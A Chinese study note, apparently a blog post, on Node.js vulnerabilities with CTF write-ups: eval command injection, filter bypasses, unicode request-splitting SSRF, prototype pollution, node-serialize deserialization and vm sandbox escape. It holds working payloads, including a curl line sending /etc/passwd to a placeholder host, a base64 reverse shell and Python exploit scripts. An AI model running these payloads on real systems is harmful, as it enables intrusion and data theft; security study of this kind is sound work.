nodejs常见漏洞学习
参考:Node.js 常见漏洞学习与总结-先知社区
φ(゜▽゜*)♪咦,又好了!
语言特性和缺点
大小写特性
1
2
3
4
5
|
toUpperCase()
toLowerCase()
对于toUpperCase(): 字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
对于toLowerCase(): 字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)
|
弱类型比较
1
2
3
4
5
6
|
console.log(1=='1'); //true
console.log(1>'2'); //false
console.log('1'<'2'); //true
console.log(111>'3'); //true
console.log('111'>'3'); //false
console.log('asd'>1); //false
|
总结:数字与字符串比较时,会优先将纯数字型字符串转为数字之后再进行比较;而字符串与字符串比较时,会将字符串的第一个字符转为ASCII码之后再进行比较,因此就会出现第五行代码的这种情况;而非数字型字符串与任何数字进行比较都是false
1
2
3
4
5
6
|
console.log([]==[]); //false
console.log([]>[]); //false
console.log([6,2]>[5]); //true
console.log([100,2]<'test'); //true
console.log([1,2]<'2'); //true
console.log([11,16]<"10"); //false
|
总结:空数组之间比较永远为false,数组之间比较只比较数组间的第一个值,对第一个值采用前面总结的比较方法,数组与非数值型字符串比较,数组永远小于非数值型字符串;数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较
相等的情况
1
2
3
4
|
console.log(null==undefined) // 输出:true
console.log(null===undefined) // 输出:false
console.log(NaN==NaN) // 输出:false
console.log(NaN===NaN) // 输出:false
|
拼接
1
2
3
4
|
console.log(5+[6,6]); //56,3
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6
|
MD5绕过
1
|
a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)
|
跟php一样数组绕过
1
2
3
4
|
a={'x':'1'}
b={'x':'2'}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
|

数组被解析为[object Object]
编码绕过
16进制编码
1
|
console.log("a"==="\x61"); // true
|
unicode编码
1
|
console.log("\u0061"==="a"); // true
|
base编码
1
|
eval(Buffer.from('Y29uc29sZS5sb2coImhhaGFoYWhhIik7','base64').toString())
|
危险函数
eval()
eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。和PHP中eval函数一样,如果传递到函数中的参数可控并且没有经过严格的过滤时,就会导致漏洞的出现。
简单例子:
main.js
1
2
3
4
5
6
7
8
9
10
11
|
var express = require("express");
var app = express();
app.get('/eval',function(req,res){
res.send(eval(req.query.q));
console.log(req.query.q);
})
var server = app.listen(8888, function() {
console.log("应用实例,访问地址为 http://127.0.0.1:8888/");
})
|
漏洞利用:
Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');
来进行调用。
弹计算器(windows):
1
|
/eval?q=require('child_process').exec('calc');
|
读取文件(linux):
1
|
/eval?q=require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');;
|
反弹shell(linux):
1
2
3
4
5
|
/eval?q=require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx|base64 -d|bash');
YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx是bash -i >& /dev/tcp/127.0.0.1/3333 0>&1 BASE64加密后的结果,直接调用会报错。
注意:BASE64加密后的字符中有一个+号需要url编码为%2B(一定情况下)
|
如果上下文中没有require,则可以使用global.process.mainModule.constructor._load('child_process').exec('calc')
来执行命令
与它类似的函数
间隔两秒执行函数:
- setInteval(some_function, 2000)
两秒后执行函数:
- setTimeout(some_function, 2000);
some_function处就类似于eval函数的参数
输出HelloWorld:
- Function(“console.log(‘HelloWolrd’)”)()
类似于php中的create_function
以上都可以导致命令执行
文件读写
读
readFile()
1
2
3
4
|
require('fs').readFile('/etc/passwd', 'utf-8', (err, data) => {
if (err) throw err;
console.log(data);
});
|
readFileSync()
1
|
require('fs').readFileSync('/etc/passwd','utf-8')
|
写
writeFileSync()
1
|
require('fs').writeFileSync('input.txt','sss');
|
writeFile()
1
|
require('fs').writeFile('input.txt','test',(err)=>{})
|
RCE-bypass
原payload
1
|
require("child_process").execSync('cat flag.txt')
|
拼接绕过
1
2
3
4
|
require("child_process")['exe'%2b'cSync']('cat flag.txt')
//(%2b就是+的url编码)
require('child_process')["exe".concat("cSync")]("open /System/Applications/Calculator.app/")
|
编码绕过
1
2
3
|
require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('cat flag.txt')
require("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]('cat fl001g.txt')
eval(Buffer.from('cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCdvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwLycpOw==','base64').toString()) //弹计算器
|
模板拼接
1
|
require("child_process")[`${`${`exe`}cSync`}`]('open /System/Applications/Calculator.app/')
|
SSRF
通过拆分攻击实现的SSRF攻击-先知社区
原理
虽然用户发出的http请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。JavaScript支持unicode字符串,因此将它们转换为字节意味着选择并应用适当的unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符。相反,这些字符被截断为其JavaScript表示的最低字节
1
2
3
4
5
|
> v = "/caf\u{E9}\u{01F436}"
'/café🐶'
> Buffer.from(v,'latin1').toString('latin1')
'/café=6'
|
利用crlf进行HTTP头注入
1
2
|
> require('http').get('http://example.com/\r\n/test')._header
'GET //test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n'
|
[GYCTF2020]Node Game
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
|
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');
const multer = require('multer');
app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))
app.get('/', function(req, res) {
var action = req.query.action?req.query.action:"index";
if( action.includes("/") || action.includes("\\") ){
res.send("Errrrr, You have been Blocked");
}
file = path.join(__dirname + '/template/'+ action +'.pug');
var html = pug.renderFile(file);
res.send(html);
});
app.post('/file_upload', function(req, res){
var ip = req.connection.remoteAddress;
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
fs.readFile(req.files[0].path, function(err, data){
if(err){
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
}else{
var file_path = '/uploads/' + req.files[0].mimetype +"/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name
if(!fs.existsSync(__dirname + file_path)){
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file,data)
obj = {
msg: 'upload success',
filename: file_path + file_name
}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})
app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt'));
});
app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>error occurs!</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});
resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
}catch (e) {
res.send(e.message);
}
}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})
function blacklist(url) {
var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}
var server = app.listen(8081, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
|
这里
1
|
var file_path = '/uploads/' + req.files[0].mimetype +"/";
|
路径根据mimetype进行拼接,可以想到目录穿越
控制bp里面Content-Type
为../template
,路径就为uploads/../template/+filename
这样就相当于传了一个文件到template下
先了解前面crlf的攻击原理
假设一个服务器,接受用户输入,并将其包含在通过HTTP公开的内部服务请求中,像这样:
1
2
|
GET /private-api?q=<user-input-here> HTTP/1.1
Authorization: server-secret-key
|
如果服务器未正确验证用户输入,则攻击者可能会直接注入协议控制字符到请求里。假设在这种情况下服务器接受了以下用户输入:
1
|
"x HTTP/1.1\r\n\r\nDELETE /private-api HTTP/1.1\r\n"
|
在发出请求时,服务器可能会直接将其写入路径,如下:
1
2
3
4
|
GET /private-api?q=x HTTP/1.1
DELETE /private-api
Authorization: server-secret-key
|
说到底就是\r\n成功生效
接收服务将此解释为两个单独的HTTP请求,一个GET后跟一个DELETE
但是正常的HTTP库在nodejs会限制这种行为,如果你尝试发出一个路径中含有控制字符的HTTP请求,它们会被URL编码,但是上文我们提到可以用unicode来绕过
1
2
3
4
|
'http://example.com/\u{010D}\u{010A}/test'
http://example.com/čĊ/test
http.get('http://example.com/\u010D\u010A/test').output
[ 'GET /čĊ/test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' ]
|
当Node.js版本8或更低版本对此URL发出GET请求时,它不会进行转义,因为它们不是HTTP控制字符
但是当结果字符串被编码为latin1写入路径时,这些字符将分别被截断为“\r”和“\n”
1
2
|
Buffer.from('http://example.com/\u{010D}\u{010A}/test', 'latin1').toString()
'http://example.com/\r\n/test'
|
这题思路是
1
2
3
|
1.对/core路由发起切分攻击,请求/core的同时还向/source路由发出上传文件的请求
2.由于/路由是先读取/template/目录下的pug文件再将其渲染到当前界面,因此应该上传包含命令执行的pug文件;文件虽然默认上传至/upload/目录下,但可以通过目录穿越将文件上传到/template目录
3.访问上传到/template目录下包含命令执行的pug文件
|
先写好pug文件,拼接绕过黑名单
1
2
|
-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('ls /').toString()")
-return x
|
抓包获得请求包

复制下来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
Content-Type: multipart/form-data; boundary=----geckoformboundary3f02d5d68531cb3f111ca7a9cef0f9e8
Content-Length: 357
Origin: http://b0eba7e3-0d85-40aa-b5f1-c076b0375848.node5.buuoj.cn:81
Connection: keep-alive
Referer: http://b0eba7e3-0d85-40aa-b5f1-c076b0375848.node5.buuoj.cn:81/?action=upload
Upgrade-Insecure-Requests: 1
Priority: u=0, i
------geckoformboundary3f02d5d68531cb3f111ca7a9cef0f9e8
Content-Disposition: form-data; name="file"; filename="shell.pug"
Content-Type: ../tempelate
-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('ls /').toString()")
-return x
------geckoformboundary3f02d5d68531cb3f111ca7a9cef0f9e8--
|
然后上脚本把包改了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
import urllib.parse
import requests
payload = ''' HTTP/1.1
POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------41671423531508392532090664957
Content-Length: 350
-----------------------------41671423531508392532090664957
Content-Disposition: form-data; name="file"; filename="shell.pug"
Content-Type: ../template
-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('ls /').toString()")
-return x
-----------------------------41671423531508392532090664957--
GET /flag HTTP/1.1
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
r = requests.get('http://b0eba7e3-0d85-40aa-b5f1-c076b0375848.node5.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
print(r.text)
|
这个成功概率很小不知道为什么
然后看flag.txt,换一个脚本,这里直接手动换unicode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
import requests
payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZUlQgK81vgN7OB8A
{}""".replace('\n', '\r\n')
body = """------WebKitFormBoundaryZUlQgK81vgN7OB8A
Content-Disposition: form-data; name="file"; filename="shell.pug"
Content-Type: ../template
-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundaryZUlQgK81vgN7OB8A--
""".replace('\n', '\r\n')
payload = payload.format(len(body), body) \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('\r\n', '\u010d\u010a') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
+ 'GET' + '\u0120' + '/'
requests.get('http://b0eba7e3-0d85-40aa-b5f1-c076b0375848.node5.buuoj.cn:81/core?q=' + payload)
print(requests.get('http://b0eba7e3-0d85-40aa-b5f1-c076b0375848.node5.buuoj.cn:81/?action=shell').text)
|
原型链污染
原理之前学过了,看看例题
[GYCTF2020]Ez_Express
源码泄露,有www.zip
看源码有merge,直接想到打原型链污染
1
2
3
4
5
6
7
8
9
10
11
12
13
|
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
|
然后这里登入会把用户名转大写写进session
1
2
3
4
5
|
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
|
但是不让以admin注册,要求ADMIN为用户名,用到上面大小写特性了
1
2
3
4
5
6
7
8
9
10
11
12
13
|
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}
return undefined
}
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
|
admin 写成 admı
n 即可绕过上面的限制了
然后/action路由直接用常用payload就污染了
1
|
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('cat /flag');var __tmp2"}}
|
发包类型改为json
然后访问info路由触发污染,界面无回显,我们写文件到当前目录下
1
|
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('cat /flag >/app/public/abc');var __tmp2"}}
|
然后再访问abc路由,得到flag
node-serialize反序列化RCE漏洞(CVE-2017-5941)
漏洞出现在node-serialize模块0.0.4版本当中,使用npm install node-serialize@0.0.4
安装模块。
IIFE(立即调用函数表达式)是一个在定义时就会立即执行的 JavaScript 函数。
IIFE一般写成下面的形式:
1
2
3
|
(function(){ /* code */ }());
// 或者
(function(){ /* code */ })();
|
漏洞点
漏洞代码位于node_modules\node-serialize\lib\serialize.js中:
其中的关键就是:obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
这一行语句,可以看到传递给eval的参数是用括号包裹的,所以如果构造一个function(){}()
函数,在反序列化时就会被当中IIFE立即调用执行。来看如何构造payload
1
2
3
4
5
|
serialize = require('node-serialize');
var test = {
rce : function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});},
}
console.log("序列化生成的 Payload: \n" + serialize.serialize(test));
|
生成的payload
1
|
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}"}
|
因为需要在反序列化时让其立即调用我们构造的函数,所以我们需要在生成的序列化语句的函数后面再添加一个()
,结果如下:
1
|
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}()"}
|
传递给unserialize(注意转义单引号):
1
2
3
|
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr){console.log(stdout)});}()"}';
serialize.unserialize(payload);
|
Node.js 目录穿越漏洞复现(CVE-2017-14849)
漏洞影响的版本:
- Node.js 8.5.0 + Express 3.19.0-3.21.2
- Node.js 8.5.0 + Express 4.11.0-4.15.5
用Burpsuite获取地址:/static/../../../a/../../../../etc/passwd
即可下载得到/etc/passwd
文件
详细分析见Node.js CVE-2017-14849 漏洞分析 - 博客 - 腾讯安全应急响应中心
vm沙箱逃逸
vm是用来实现一个沙箱环境,可以安全的执行不受信任的代码而不会影响到主程序。但是可以通过构造语句来进行逃逸
逃逸例子:
1
2
3
|
const vm = require("vm");
const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(env);
|
执行之后可以获取到主程序环境中的环境变量
上面例子的代码等价于如下代码:
1
2
3
4
5
6
|
const vm = require('vm');
const sandbox = {};
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
const context = vm.createContext(sandbox);
env = script.runInContext(context);
console.log(env);
|
创建vm环境时,首先要初始化一个对象 sandbox,这个对象就是vm中脚本执行时的全局环境context,vm 脚本中全局 this 指向的就是这个对象。
因为this.constructor.constructor
返回的是一个Function constructor
,所以可以利用Function对象构造一个函数并执行。(此时Function对象的上下文环境是处于主程序中的) 这里构造的函数内的语句是return this.process.env
,结果是返回了主程序的环境变量。
配合child_process.exec()
就可以执行任意命令了
1
2
3
4
|
const vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`);
console.log(env);
|